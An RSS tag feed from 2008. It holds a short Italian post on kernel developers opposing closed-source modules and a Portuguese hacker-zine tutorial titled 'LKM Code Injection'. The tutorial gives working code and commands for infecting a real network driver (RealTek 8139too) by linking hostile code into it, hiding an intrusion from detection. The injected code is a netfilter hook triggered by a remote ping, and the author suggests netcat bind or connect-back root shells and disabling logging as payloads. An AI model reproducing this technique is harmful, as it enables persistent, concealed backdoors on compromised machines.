<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>lkm &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://wordpress.com/tag/lkm/</link>
	<description>Feed of posts on WordPress.com tagged "lkm"</description>
	<pubDate>Thu, 21 Aug 2008 08:12:58 +0000</pubDate>

	<generator>http://wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA["Position Statement on Linux Kernel Modules"....]]></title>
<link>http://rejex.wordpress.com/?p=203</link>
<pubDate>Mon, 23 Jun 2008 17:06:06 +0000</pubDate>
<dc:creator>jp</dc:creator>
<guid>http://rejex.wordpress.com/?p=203</guid>
<description><![CDATA[Salve gente.
Un bel gruppo di kernel hacker (circa 140 persone) ha firmato una dichiarazione in cui ]]></description>
<content:encoded><![CDATA[<p>Salve gente.</p>
<p>Un bel gruppo di <em>kernel hacker</em> (<em>circa 140 persone</em>) ha firmato una dichiarazione in cui prende una posizione netta contro i <a href="http://en.wikipedia.org/wiki/Loadable_kernel_module">moduli</a> proprietari (<em>ossia <a href="http://it.wikipedia.org/wiki/Closed_source">closed-source</a></em>) in <a href="http://it.wikipedia.org/wiki/Linux">Linux</a>, inteso come <a href="http://it.wikipedia.org/wiki/Kernel">kernel</a>.</p>
<p>La dichiarazione è la seguente:</p>
<blockquote><p>We, the undersigned Linux kernel developers, consider any closed-source Linux kernel module or driver to be harmful and undesirable. We have repeatedly found them to be detrimental to Linux users, businesses, and the greater Linux ecosystem. Such modules negate the openness, stability, flexibility, and maintainability of the Linux development model and shut their users off from the expertise of the Linux community. Vendors that provide closed-source kernel modules force their customers to give up key Linux advantages or choose new vendors. Therefore, in order to take full advantage of the cost savings and shared support benefits open source has to offer, we urge vendors to adopt a policy of supporting their customers on Linux with open-source kernel code.</p>
<p>We speak only for ourselves, and not for any company we might work for today, <br />
have in the past, or will in the future.
</p></blockquote>
<p>All'appello sembrano esserci molti personaggi famosi ma, almeno al momento, non appare il nome di <a href="http://it.wikipedia.org/wiki/Linus_Torvalds">Linus</a>... o_O'</p>
<p>Notizia tratta da <a href="http://kerneltrap.org/Linux/Position_Statement_on_Linux_Kernel_Modules">questo post</a> su <a href="http://kerneltrap.org">KernelTrap</a> (se preferite, potete leggerlo anche <a href="http://www.linuxfoundation.org/en/Kernel_Driver_Statement">qui</a>).</p>
<p>Ciau.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[LKM Code Injection]]></title>
<link>http://0x66.wordpress.com/?p=21</link>
<pubDate>Thu, 19 Jun 2008 23:40:38 +0000</pubDate>
<dc:creator>VonNaturAustreVe</dc:creator>
<guid>http://0x66.wordpress.com/?p=21</guid>
<description><![CDATA[=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[LKM Code In]]></description>
<content:encoded><![CDATA[<p>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br />
=-[04]-=[LKM Code Injection]=-&#124;tDs&#124;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br />
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=</p>
<p>--=[ Introducao</p>
<p>Melhor que conseguir elevar  privilegios em um sistema e deixar um LKM<br />
nosso, com backdoors, rootkits, ou o que for, e' colocar isso tudo em um LKM do<br />
sistema. Desta forma, a deteccao de rastros de uma intrusao fica um pouco mais<br />
dificil.</p>
<p>Neste pequeno texto, veremos de maneira clara (eu espero) como podemos<br />
infectar  um LKM,  adicionando mais funcoes ou modificando-as,  da maneira que<br />
acharmos uteis ao nossos objetivos.</p>
<p>O assunto pode parecer um pouco complexo para iniciantes, entretanto o<br />
que e' tratado e' somente o basico. Entao, se ja possui um conhecimento do as-<br />
sunto, e' mais proveitoso procurar por algo mais avancado para leitura. Conhe-<br />
cimento previo sobre a escrita de LKM e bem-vindo, embora nao seja indispensa-<br />
vel.  Exemplos e citacoes sao feitos  tendo em mente o kernel do GNU/linux,<br />
2.4.x.</p>
<p><!--more-->--=[ O que sao LKMs</p>
<p>LKMs sao "pedacos" do kernel, que podem ser carregados e descarregados<br />
dinamicamente, aumentando (ou diminuindo) a gama de opcoes e funcionalidades que<br />
sao disponibilizadas pelo kernel do sistema. Por ser carregado sob demanda, ou<br />
seja, nao esta embutido no proprio kernel, LKMs tem diversas vantagens a codigo<br />
escritos diretamente no kernel. Entre elas temos:</p>
<p>- Economia de memoria: Pelo fato de ser carregada somente quando necessario,<br />
nao existe desperdicio de memoria com funcoes que nao sao utilizadas constan-<br />
temente;<br />
- Facilidade na compilacao e debug: LKMs apos carregadas sao parte do kernel,<br />
entretanto nao precisam ser compiladas junto com ele. Podem ser escritos e<br />
compilados a qualquer momento. Quando se tem problemas com o codigo, e' possi-<br />
vel fazer um debug dele com facilidade muito maior do que se o codigo estives-<br />
se embutido no kernel. E' mais rapido descarregar o modulo, modificar o codigo,<br />
recompilar e recarregar o modulo do que reescrever a parte do codigo que esta<br />
no kernel, recompilar tudo e reiniciar o computador!<br />
- Novos drivers podem ser testados sem precisar reiniciar o sistema. E sao em<br />
drivers que iremos nos concentrar.</p>
<p>--=[ Inicio - Primeiros Exemplos</p>
<p>A forma mais simples de entender como funciona e' com exemplos. Inicial-<br />
mente,  criamos um modulo chamado driver_original.o,  que sera o exemplo usado<br />
como modulo do sistema, que futuramente sera infectado:</p>
<pre>&#60;++&#62; lkm_injection/driver_original.c
/*
 * Simples exemplo de um lkm que nao faz nada,
 * mas poderia ser, por exemplo, um driver de
 * uma placa de rede.
 * Compile com $gcc -O3 -c driver_original.c
*/

#define MODULE
#define __KERNEL__

#include &#60;linux/kernel.h&#62;
#include &#60;linux/module.h&#62;

static int __init inicio(void)
{
  printk ("&#60;1&#62; Iniciando driver_original \n");
  printk ("&#60;1&#62; Executando funcoes iniciais\n");   
  printk ("&#60;1&#62; Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("&#60;1&#62; Finalizando modulo orignal \n");
}

module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");
&#60;--&#62; lkm_injection/driver_original.c</pre>
<p>Antes de carregar o modulo,  e' interessante ter o syslogd funcionando<br />
corretamente e com a seguinte linha no seu arquivo de configuracao (normalmente<br />
/etc/syslog.conf):</p>
<pre>    kern.alert   /var/log/alert</pre>
<p>Dessa forma poderemos observar melhor as mensagens que serao emitidas  pelo mo-<br />
dulo. Apos isso, compile o codigo e carregue o modulo:</p>
<pre>    #gcc -O3 -c driver_original.c
    #insmod driver_original.o</pre>
<p>As opcoes passadas para o gcc sao:</p>
<p>&#124;&#124;  -O3: Optimize yet more.  -O3 turns on all optimizations specified<br />
&#124;&#124; by -O2 and also turns on the -finline-functions and -frename-registers<br />
&#124;&#124; options. (E' uma opcao para otimizacao do objeto criado pelo gcc.).<br />
&#124;&#124;<br />
&#124;&#124;  -c: Compile or assemble the source files, but do not link.  The linking<br />
&#124;&#124; stage simply is not done. The ultimate output is in the form of an object<br />
&#124;&#124; file for each source file.</p>
<p>As seguintes mensagens devem aparecer em '/var/log/alert' (ou nao, elas<br />
ainda podem aparecer em outro arquivo de log, sinistramente):</p>
<p>Nov 14 17:24:57 matrix kernel:  Iniciando driver_original<br />
Nov 14 17:24:57 matrix kernel:  Executando funcoes iniciais<br />
Nov 14 17:24:57 matrix kernel:  Modulo carregado e aguardando chamada a<br />
suas funcoes</p>
<p>Com o driver (pseudo-driver que faz absolutamente nada mais do que exi-<br />
bir mensagens) criado, podemos agora criar o modulo que contem o codigo que se-<br />
ra injetado no driver_original.o:</p>
<pre>&#60;++&#62; lkm_injection/infector.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera
 * utilizado para ser injetado em um outro modulo.
*/

#define MODULE
#define __KERNEL__

#include &#60;linux/kernel.h&#62;
#include &#60;linux/module.h&#62;

int init_module(void)
{
  printk ("&#60;1&#62; Iniciando funcoes do modulo injetado\n");
  return 0;
}
&#60;--&#62;lkm_injection/infector.c</pre>
<p>Observe que o modulo anterior possui apenas uma funcao, a init_module.<br />
Essa funcao e' a equivalente a "main()" em um programa em C comum,  ou seja, e'<br />
a primeira funcao a ser executada na execucao do modulo, que no caso e' o car-<br />
regamento dele. Como deve imaginar, existe tambem uma funcao executada logo an-<br />
tes do descarregamento do modulo.  Essa funcao e' a "cleanup_module()".</p>
<p>Compile o codigo e carregue o modulo:</p>
<pre>    #gcc -O3 -c infector.c
    #insmod infector.o</pre>
<p>A seguinte mensagem deve aparecer em '/var/log/alert':</p>
<p>Nov 14 17:36:29 matrix kernel:  Iniciando funcoes do modulo injetado</p>
<p>Por enquanto, tudo que temos sao dois modulos separados (note que a uni-<br />
ca coisa que os modulos estao fazendo ate agora e' exibir mensagens no arquivo<br />
de log. Leve em conta o seguinte:</p>
<p>- As funcoes do driver_original.o ja existem, como codigo do modulo do sistema<br />
que futuramente sera infectado. Poderiamos estar usando como exemplos o codigo<br />
de um driver real, mas isso apenas complicaria de forma desnecessaria a explana-<br />
cao de como podemos efetuar a infeccao;<br />
- As nossas funcoes - backdoors, rootkits, etc - serao adicionadas em breve<br />
(por voce, obvio, apenas sera mostrado que e' possivel fazer e como poderia<br />
ser feito).</p>
<p>Voltando ao que vale, o que precisamos fazer agora, e' injetar o modulo<br />
infector.o dentro do modulo driver_original.o. Para isso, podemos utilizar o<br />
GNU Linker (ld):</p>
<p>&#124;&#124;    "ld  combines  a  number of object and archive files,<br />
&#124;&#124;    relo­cates their data and ties up  symbol  references.<br />
&#124;&#124;    Usually the last step in compiling a program is to run<br />
&#124;&#124;    ld."</p>
<p>Para injetar o codigo do infector.o dentro do driver_original.o, podemos<br />
fazer da seguinte forma:</p>
<pre>    #ld -r -z muldefs infector.o driver_original.o -o devil.o</pre>
<p>Basicamente o que e' feito aqui e' uma injecao da funcao 'int init_modu-<br />
le(void)' (a unica) do modulo infector.o para o modulo driver_original.o, crian-<br />
do um novo modulo, chamado devil.o. O codigo do driver_original.o deve ter fica-<br />
do parecido com o seguinte:</p>
<pre>/** driver_original_infectado */
#define MODULE
#define __KERNEL__

#include &#60;linux/kernel.h&#62;
#include &#60;linux/module.h&#62;

static int __init inicio(void)
{
  printk ("&#60;1&#62; Iniciando driver_original \n");
  printk ("&#60;1&#62; Executando funcoes iniciais\n");   
  printk ("&#60;1&#62; Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("&#60;1&#62; Finalizando modulo orignal \n");
}

module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");

int init_module(void)
{
  printk ("&#60;1&#62; Iniciando funcoes do modulo injetado\n");
  return 0;
}
/** fim de driver_original_infectado */</pre>
<p>Apos carregar ele (#insmod devil.o), o seguinte e' visto em '/var/log/alert':</p>
<p>Nov 14 18:34:42 matrix kernel:  Iniciando funcoes do modulo injetado</p>
<p>Esta funcionando, mas nao perfeitamente, ainda. Alguns detalhes devem<br />
ser observados. Um pouco de teoria:</p>
<p>Em um LKM, a primeira funcao a ser executada e' a init_module() OU algu-<br />
ma funcao passada como argumento para a macro module_init() (que no caso do<br />
driver_original.c, foi a funcao 'inicio'). A macro module_init() esta declarada<br />
em '/usr/src/linux/include/linux/init.h':</p>
<pre>&#124;&#124; /**
&#124;&#124;  * module_init() - driver initialization entry point
&#124;&#124;  * @x: function to be run at kernel boot time or module insertion
&#124;&#124;  *
&#124;&#124;  * module_init() will add the driver initialization routine in
&#124;&#124;  * the "__initcall.int" code segment if the driver is checked as
&#124;&#124;  * "y" or static, or else it will wrap the driver initialization
&#124;&#124;  * routine with init_module() which is used by insmod and
&#124;&#124;  * modprobe when the driver is used as a module.
&#124;&#124; */
&#124;&#124; #define module_init(x)  __initcall(x);</pre>
<p>Se observar, vera que no codigo teria tanto a funcao "module_init" quanto<br />
a "init_module". Entao, caso o codigo acima fosse compilado, ocorreria um erro:</p>
<pre>    error: redefinition of `init_module'
    error: `init_module' previously defined here</pre>
<p>O mesmo ocorreria se eles fossem  compilados separados e  posteriomente<br />
linkados. Para contornar este problema, compilamos os arquivos separadamentes e<br />
linkamos,  passando o argumento '-z muldefs' para o ld,  informando a ele para<br />
aceitar definicoes multiplas de uma mesma funcao. Desta forma podemos substituir<br />
(sobreescrever) a funcao 'module_init(inicio)', que inicializa o driver_original<br />
.o, pela funcao init_module() do modulo infector.o.</p>
<p>Dessa forma teriamos o nosso modulo injetado dentro do modulo que esta-<br />
mos tentando infectar. So tem um detalhe: A funcao 'module_init(inicio)' que se-<br />
ra sobreescrita contem codigo que pode ser essencial para o modulo, em sua ver-<br />
sao nao infectada (aqui o codigo original apenas exibe mensagens, mas normalmen-<br />
te nao e' apenas isso que ocorre), e deve continuar sendo executado.  Para que<br />
tudo funcione corretamente, basta que o modulo infector.o, em sua inicializacao,<br />
execute uma chamada para a funcao inicio() do modulo driver_original.o.<br />
Complicou? Observe:</p>
<pre>&#60;++&#62; lkm_injection/infector2.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera
 * utilizado para ser injetado em um outro modulo. Apos carregado, executa funcao
 * principal do modulo infectado
 */
#define MODULE
#define __KERNEL__

#include &#60;linux/kernel.h&#62;
#include &#60;linux/module.h&#62;

int init_module(void)
{
  printk ("&#60;1&#62; Iniciando funcoes do modulo injetado\n");
  printk ("&#60;1&#62; ***inicializando modulo original*** \n\n");
  inicio (); // funcao inicio do driver_original, chamada para
             // inicializacao dele
  return 0;
}
&#60;--&#62; lkm_injection/infector2.c</pre>
<p>Compilamos o novo modulo e linkamos com o modulo original, criando um outro<br />
modulo, chamado devil.o:</p>
<pre>    # gcc -O3 -c infector2.c
    # ld -r -z muldefs infector2.o driver_original.o -o devil.o</pre>
<p>Apos carregar o modulo (#rmmod devil; insmod devil.o), vemos o seguinte em<br />
'/var/log/alert':</p>
<p>Nov 14 18:39:24 matrix kernel:  Iniciando funcoes do modulo injetado<br />
Nov 14 18:39:24 matrix kernel:  ***inicializando modulo original***<br />
Nov 14 18:39:24 matrix kernel:  Iniciando driver_original<br />
Nov 14 18:39:24 matrix kernel:  Executando funcoes iniciais<br />
Nov 14 18:39:24 matrix kernel:  Modulo carregado e aguardando chamada a<br />
suas funcoes</p>
<p>Exatamente o que e' necessario:<br />
- Nosso modulo e' executado, fazendo o que precisa;<br />
- Nosso modulo chama a funcao original do modulo que foi infectado;<br />
- Modulo original funciona normalmente, como se nada tivesse acontecido.<br />
So precisamos de algum codigo util para ser executado e algum modulo para<br />
servir de hospedeiro!</p>
<p>--=[ Localizando o Hospedeiro</p>
<p>Como dito anteriormente, a primeira funcao a ser executada em um modulo<br />
pode ser tanto module_init(FUNCAO), quanto  init_module(). No caso da infeccao<br />
de um modulo que seja inicializado por  module_init(FUNCAO), so precisamos nos<br />
certificar que o codigo que infectou o modulo original faca uma chamada para<br />
'FUNCAO', garantindo assim que tudo que deve ser executado por ele ao ser car-<br />
regado realmente sera executado. Agora, no caso da infeccao de um modulo que e'<br />
inicializado por init_module(), a situacao e' diferente. E' necessario literal-<br />
mente reescrever o init_module() do modulo original dentro do  modulo que  ira<br />
causar a  infeccao. Isto  pode  ser  um  tanto chato de se fazer, dependendo do<br />
tamanho da funcao de inicializacao. Por este simples motivo, sera dado preferen-<br />
cia aos modulos que sejam inicializados por module_init(FUNCAO).</p>
<p>Decidir qual modulo utilizar nao deve ser uma tarefa muito complicada.<br />
Vamos levar em consideracao o seguinte:</p>
<p>- Para que possamos acessar uma maquina remota, ela obviamente esta conectada<br />
a rede atraves de algum dispositivo, que normalmente e' uma interface de rede<br />
(ethernet);<br />
- Para que a interface de rede possa ser utilizada, e' necessaria a utilizacao<br />
de algum tipo de driver;<br />
- A maioria das distribuicoes de linux atualmente, colocam os drivers de<br />
interfaces de rede como modulos;</p>
<p>Com estas informacoes, conclui-se que e' bastante interessante a infec-<br />
cao de um driver de interface de rede (se a maquina nao carregar este modulo a<br />
cada inicializacao do sistema,  ela nao tera  acesso a rede e nos nao teremos<br />
acesso a ela de qualquer forma, por isso a escolha).</p>
<p>Outro detalhe que vale observar e' que muitas maquinas costumam utilizar<br />
placas de rede comuns (realtek, sis900, 3com), assim utilizam os mesmos modulos<br />
(sistemas diferentes utilizando modulos iguais), o que facilitaria bastante a<br />
escrita de nosso codigo de infeccao. Vamos dar uma observada no codigo destes<br />
modulos controladores de dispositivos de rede:</p>
<pre>&#124;&#124; /** realtek 8139 */
&#124;&#124; /*
&#124;&#124;   8139too.c: A RealTek RTL-8139 Fast Ethernet driver for Linux.
&#124;&#124;    Maintained by Jeff Garzik &#60;jgarzik@pobox.com&#62;
&#124;&#124;   Copyright 2000-2002 Jeff Garzik
&#124;&#124; */
&#124;&#124; ...
&#124;&#124; muito codigo
&#124;&#124; ...
&#124;&#124; module_init(rtl8139_init_module);
&#124;&#124; module_exit(rtl8139_cleanup_module);
&#124;&#124; /** fim de realtek 8139 */

&#124;&#124; /** sis900 */
&#124;&#124; /* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux.
&#124;&#124;    Copyright 1999 Silicon Integrated System Corporation
&#124;&#124;    Revision: 1.08.06 Sep. 24 2002
&#124;&#124;       
&#124;&#124;    Modified from the driver which is originally written by Donald Becker.
&#124;&#124; */
&#124;&#124; ...
&#124;&#124; muito codigo
&#124;&#124; ...
&#124;&#124; module_init(sis900_init_module);
&#124;&#124; module_exit(sis900_cleanup_module);
&#124;&#124; /** fim de sis900 */

&#124;&#124; /** ne2k */
&#124;&#124; /* ne2k-pci.c: A NE2000 clone on PCI bus driver for Linux. */
&#124;&#124; /*
&#124;&#124;  A Linux device driver for PCI NE2000 clones.
&#124;&#124; */
&#124;&#124; ...
&#124;&#124; muito codigo
&#124;&#124; ...
&#124;&#124; module_init(ne2k_pci_init);
&#124;&#124; module_exit(ne2k_pci_cleanup);
&#124;&#124; /** ne2k */</pre>
<p>O codigo completo dos arquivos esta em '/usr/src/linux/drivers/net'.<br />
Nota alguma semelhanca entre o codigo desses drivers e o codigo do<br />
"driver_original.c"? Observa-se que muitos destes drivers estao codificados de<br />
forma a facilitar o nosso trabalho. Tendo entao alguns hospedeiros selecionados,<br />
vamos juntar alguns codigos interessantes para injetar neles.</p>
<p>--=[ Colocando Algum Codigo Util</p>
<p>Agora que ja sabemos como fazer, precisamos decidir o que fazer. Algumas<br />
ideias:</p>
<p>- Uma backdoor;<br />
- Um logcleanner;<br />
- Um rootkit;<br />
- Um sninffer;<br />
- Qualquer coisa que voce tiver ideia! Voce esta no comando.</p>
<p>Com as ferramentas em maos, vamos ver uma pseudo-implementacao de algum<br />
codigo realmente util. O codigo a seguir e' uma LKM que contem um codigo inofen-<br />
sivo, ate que o kernel manipule um pacote ICMP de 50 bytes (em outras palavras,<br />
o codigo nocivo da LKM e' ativado por um PING remoto de 50 bytes, que pode ser<br />
feito assim: $ping -s 22 ip.da.vitima). Isso e' feito com a criacao de um hook<br />
no netfilter, que e' adicionado antes de outras possiveis regras que  poderiam<br />
ter sido criadas para bloquear pacotes ICMP, ou seja, voce pode com isso passar<br />
por um conjunto de regras que tornaria a vitima inacessivel. E mais, voce pode<br />
criar regras on-the-fly,  para permitir que a maquina que enviou o pacote ICMP<br />
tenha acesso irrestrito. Resumindo, voce pode inutilizar as regras que tenham<br />
sido criadas.</p>
<p>Para execucao, e' possivel colocar o que quiser: uma backdoor (que tal<br />
executar o netcat ouvindo em uma porta X e passar a opcao "-e /bin/sh" para ele?<br />
Uma root shell sem muito esforco), uma backdoor em connect-back  (que tal esse<br />
mesmo netcat se conectar no ip de quem enviou o pacote ICMP), desativar o syslo-<br />
gd enquanto o ip de quem enviou o pacote  ICMP estiver se comunicando com a ma-<br />
quina, etc. Observe que, se receber 50 pacotes do tamanho especifico, o codigo<br />
nocivo sera executado 50 vezes, o que nao sera bom na maioria dos casos.  No<br />
exemplo, apenas exibe uma mensagem, entao nao teremos problemas. Tenha isso em<br />
mente no momento que for implementar algo e controle a execucao do codigo noci-<br />
vo. Segue a implementacao:</p>
<pre>&#60;++&#62; lkm_injection/injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size:
 * #insmod injekt.o pkt_size=100
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include &#60;linux/kernel.h&#62;
#include &#60;linux/module.h&#62;
#include &#60;linux/ip.h&#62;
#include &#60;linux/net.h&#62;
#include &#60;linux/in.h&#62;
#include &#60;linux/netfilter.h&#62;
#include &#60;linux/netfilter_ipv4.h&#62;
#include &#60;linux/netdevice.h&#62;

/* declaracoes de variaveis e prototipo de funcoes  */
int exec_injetk(void);
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));

/* funcao principal do modulo */
int __init init_injekt()
{
    printk ( "&#60;1&#62; Inicializando : icmp_pkt_size:  " \
                 "%i bytes\n\n", pkt_size + P_SIZE_OFFSET);

    /* informacoes para registrar o hook do netfilter */
    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;

    /* a hook e' criada */
    nf_register_hook(&#38;nfh);

    return 0;
}

/* funcao de saida do modulo */
void __exit exit_injekt ( )
{
    /* remove a hook */   
    nf_unregister_hook( &#38;nfh );
}

/* O que sera feito quando receber o pacote ICMP do tamanho especificado  */
int i_am_terrible( )
{
    printk ( "&#60;1&#62; EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}

/* aqui temos a hook propriamente dita */
unsigned int i_ll_hook_you (
            unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {

    struct sk_buff *sk = *skb;
    /* verifica se o protocolo e' icmp e o tamanho do pacote e' o especificado */
    if ( sk-&#62;nh.iph-&#62;protocol == IPPROTO_ICMP &#38;&#38;
         sk-&#62;len == P_SIZE_OFFSET + pkt_size ) {
        /* informa que recebeu o pacote */
    //printk ( "&#60;1&#62; Recebido pacote de %i bytes )\n\n", sk-&#62;len );
    i_am_terrible();
    return NF_STOLEN; /* elimina o pacote! */
    }
    return NF_ACCEPT; /* retorna o pacote para ser feito o que for preciso */
}

/* informacoes do modulo */
module_init ( init_injekt );
module_exit ( exit_injekt );
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
MODULE_LICENSE ( "GPL" );
MODULE_AUTHOR  ( "tDs &#60;tds@motdlabs.org&#62;" );
MODULE_DESCRIPTION ( ":: keep your mind free() ::" );
&#60;--&#62; lkm_injection/injekt.c</pre>
<p>--=[ Cenario Real: Infectando um Driver</p>
<p>Vamos utilizar como exemplo o driver 8139too.o, que normalmente esta em<br />
"/lib/module/kernel_versao/kernel/drivers/net/8139too.o.gz". Note que ele esta<br />
compactado (na maioria das distribuicoes),  entao nao tente injetar seu modulo<br />
sem antes descompactar.  O codigo que sera injetado e' o que foi exposto acima,<br />
levemente modificado (embora continue fazendo nada mais do que exibir mensagens).<br />
Segue o codigo:</p>
<pre>&#60;++&#62;lkm_injection/8139injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size:
 * #insmod 8139injekt.o pkt_size=100
 * preparado para infectar driver da placa de rede realtek 8139too
 * /lib/modules/2.4.x/kernel/drivers/net/8139too.o.gz
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include &#60;linux/config.h&#62;
#include &#60;linux/kernel.h&#62;
#include &#60;linux/module.h&#62;
#include &#60;linux/ip.h&#62;
#include &#60;linux/net.h&#62;
#include &#60;linux/in.h&#62;
#include &#60;linux/netfilter.h&#62;
#include &#60;linux/netfilter_ipv4.h&#62;
#include &#60;linux/netdevice.h&#62;
#include &#60;linux/pci.h&#62;

int exec_injetk(void);
extern RTL8139_DRIVER_NAME;
extern rtl8139_pci_driver;
//extern pci_module_init();
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));

int init_module()
{
    /* codigo do driver original */
        /* when we're a module, we always print a version message,
         * even if no 8139 board is found.
         */
#ifdef MODULE
        printk("&#60;8&#62; %s \n", RTL8139_DRIVER_NAME);
#endif

    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;
    nf_register_hook(&#38;nfh);

    /* codigo do driver original */
    return pci_module_init(&#38;rtl8139_pci_driver);
}

void cleanup_module ( )
{
    /* remove a hook */
    nf_unregister_hook( &#38;nfh );
    /* codigo do driver original */
    pci_unregister_driver(&#38;rtl8139_pci_driver);
}
int i_am_terrible( )
{
    printk ( "&#60;1&#62; EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}
unsigned int i_ll_hook_you (
            unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {
    struct sk_buff *sk = *skb;
    if ( sk-&#62;nh.iph-&#62;protocol == IPPROTO_ICMP &#38;&#38;
         sk-&#62;len == P_SIZE_OFFSET + pkt_size ) {
    i_am_terrible();
    return NF_STOLEN;
    }
    return NF_ACCEPT;
}
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
&#60;--&#62;lkm_injection/8139injekt.c</pre>
<p>Compile e linke o modulo. Apos linkar, sera exibida uma mensagem de<br />
advertencia:</p>
<pre>    # gcc -O3 -c 8139injekt.c
    # ld -r -z muldefs 8139inject.o 8139too.o -o devil.o
    ld: Warning: size of symbol `init_module' changed from 139 in badcode.o
    to 70 in 8139too.o
    ld: Warning: size of symbol `cleanup_module' changed from 32 in badcode.o
    to 12 in 8139too.o
    # modinfo devil.o
    filename:    devil.o
    description: "RealTek RTL-8139 Fast Ethernet driver"
    author:      "Jeff Garzik &#60;jgarzik@pobox.com&#62;"
    license:     "GPL"
    parm:        pkt_size int, description "Tamanho de pacote ICMP 
                 ( Padrao = 50 )"
    parm:        multicast_filter_limit int, description "8139too maximum number
                 of filtered multicast addresses"
    parm:        max_interrupt_work int, description "8139too maximum events
                 handled per interrupt"
    parm:        media int array (min = 1, max = 8), description "8139too: Bits
                 4+9: force full duplex, bit 5: 100Mbps"
    parm:        full_duplex int array (min = 1, max = 8), description "8139too:
                 Force full duplex for board(s) (1)"
    parm:        debug int, description "8139too bitmapped message enable number"</pre>
<p>Observe que o modulo agora contem o parametro que definimos anteriormen-<br />
te, em nosso modulo. Apos carregar o modulo, o hook do netfilter que foi criada<br />
estara disponivel e, para ativar a nossa funcao "i_am_terrible", basta um<br />
"ping -s 22 ip.da.vitima". Note que o PING nao vai retornar resposta, visto que<br />
o pacote sera descartado no hook. Entretanto, funcionara perfeitamente. Ultima<br />
observacao: Nao tente fazer isso com um driver de um dispositivo nao presente<br />
na maquina, os resultados podem ser desastrosos ( panic() ).</p>
<p>Muito pode ser feito com infeccao de modulo, embora pessoas com maior<br />
conhecimento normalmente utilizam-se de outros meios para manter acesso em<br />
hosts previamente dominados. A utilizacao de modulos para esse fim pode ser<br />
bastante efetiva e ao mesmo tempo muito simples de ser implemtentada.</p>
<p>--=[ Agradecimentos e Links/Referencias</p>
<p>Pessoal da scene brasileira toda, em especial ao pessoal que converso<br />
com maior frequencia. Voces sabem quem sao voces.<br />
Informacao e' simples de se adquirir, internet esta cheia disso. Basta saber<br />
procurar.</p>
<p><a href="http://www.motdlabs.org" target="_blank">http://www.motdlabs.org</a><br />
<a href="http://tds.motdlabs.org" target="_blank">http://tds.motdlabs.org</a><br />
<a href="http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/" target="_blank">http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/</a><br />
<a href="http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html" target="_blank">http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html</a><br />
<a href="http://www.netfilter.org/" target="_blank">http://www.netfilter.org/</a></p>
<p>_EOF_</p>
<p><a href="http://v0n.web44.net/zines/motd/ed04/04_LKM%20Code%20Injection.txt" target="_blank">Fonte</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[]]></title>
<link>http://suarabangsamoro.wordpress.com/2008/02/29/78/</link>
<pubDate>Fri, 29 Feb 2008 12:07:06 +0000</pubDate>
<dc:creator>suarabangsamoro</dc:creator>
<guid>http://suarabangsamoro.wordpress.com/2008/02/29/78/</guid>
<description><![CDATA[
